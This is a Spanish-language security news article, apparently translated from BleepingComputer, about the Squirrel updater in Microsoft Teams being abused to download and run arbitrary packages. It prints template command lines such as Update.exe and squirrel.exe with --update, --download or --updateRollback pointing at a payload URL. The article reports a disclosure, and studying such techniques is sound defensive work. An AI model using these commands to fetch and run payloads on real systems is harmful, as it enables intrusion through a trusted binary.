Vulnerabilidad permite utilizar Microsoft Teams para ejecutar paquetes maliciosos

 

El mecanismo de actualización, tal como se implementa actualmente en la aplicación de escritorio de Microsoft Teams, permite descargar y ejecutar archivos arbitrarios en el sistema.

El mismo problema afecta al software GitHub, WhatApp y UiPath para computadoras de escritorio, pero solo se puede usar para descargar una carga útil.

Estas aplicaciones se basan en el proyecto de código abierto Squirrel  para administrar las rutinas de instalación y actualización, que utiliza el administrador de  paquetes de NuGet para crear los archivos necesarios.

Varios investigadores de seguridad descubrieron que al usar el comando “actualizar” para una aplicación vulnerable es posible ejecutar un binario arbitrario en el contexto del usuario actual. Lo mismo ocurre con ‘squirrel.exe’.

Con los equipos de Microsoft, se agrega una carga útil a su carpeta y se ejecuta automáticamente usando cualquiera de los siguientes comandos:

Update.exe --update [url to payload]
squirrel.exe --update [url to payload]

Los comandos se pueden usar con otros argumentos, incluido “descargar”, que permite recuperar la carga útil en forma de un paquete NuGet desde una ubicación remota.

Update.exe --download [url to payload]
squirrel.exe --download [url to payload]

Se puede usar otro comando para descargar y ejecutar un paquete malicioso desde una ubicación remota:

Update.exe --updateRollback [url to payload]
squirrel.exe --updateRollback [url to payload]

El mismo método es válido para “squirrel.exe”, que también forma parte del paquete de instalación de Microsoft Teams. Ambos ejecutables ahora forman parte de la base de datos de Binarios y Scripts de Living Off The Land ( LOLBAS ) en GitHub, directamente accesible aquí y aquí .

El ingeniero inverso Reegun Richard  probó el problema en los equipos de Microsoft y lo informó a la compañía el 4 de junio. La aplicación continúa siendo vulnerable en este momento, ya que Microsoft informó al investigador que la solución vendría en una versión futura del software.

Intentar replicar el efecto con GitHub y WhatApp, y UiPath no logró la ejecución de la carga útil y solo fue posible descargarlo desde un servidor remoto.

“En este escenario, un atacante puede usar este método para enmascarar la descarga de la carga útil”, lo que sigue siendo útil para un adversario, dijo Richard a BleepingComputer.

Alentando al equipo azul, Richard quería mantener los detalles privados hasta que los Equipos de Microsoft hicieran públicos los detalles antes de que Microsoft lanzara un parche.

Otro investigador que jugaba para el equipo rojo, el Sr. Un1k0d34  del equipo RingZer0 , encontró el problema y publicó los detalles.

 

En un hilo  en Twitter, Richard explica el proceso de encontrar el error y su raíz. Comenzó con una investigación previa  publicada a fines de marzo por Hexacorn , que se centró en los binarios de la vida en la tierra (lolbins) en aplicaciones basadas en Electron.

Richard también hizo un video que demuestra cómo un atacante podría usar los equipos de Microsoft para obtener un shell en la computadora de destino. Los detalles completos sobre la explotación de este problema están disponibles en una publicación del blog del investigador.

 

 

Microsoft Teams está diseñado para uso comercial, ya que es un paso adelante de Skype for Business. Es una alternativa a Slack y ofrece comunicaciones unificadas con video reunión, almacenamiento de archivos y funciones de colaboración. Es compatible con extensiones para la integración con productos de otros desarrolladores.

Actualización [07/02/2019] : artículo actualizado para agregar un nuevo parámetro que se puede usar para descargar y ejecutar un paquete alojado en un servidor remoto, según Reegun Richard.

 

 

 

 

Fuente: bleepingcomputer

Follow me:

También te puede interesar

Deja un comentario

error: Content is protected !!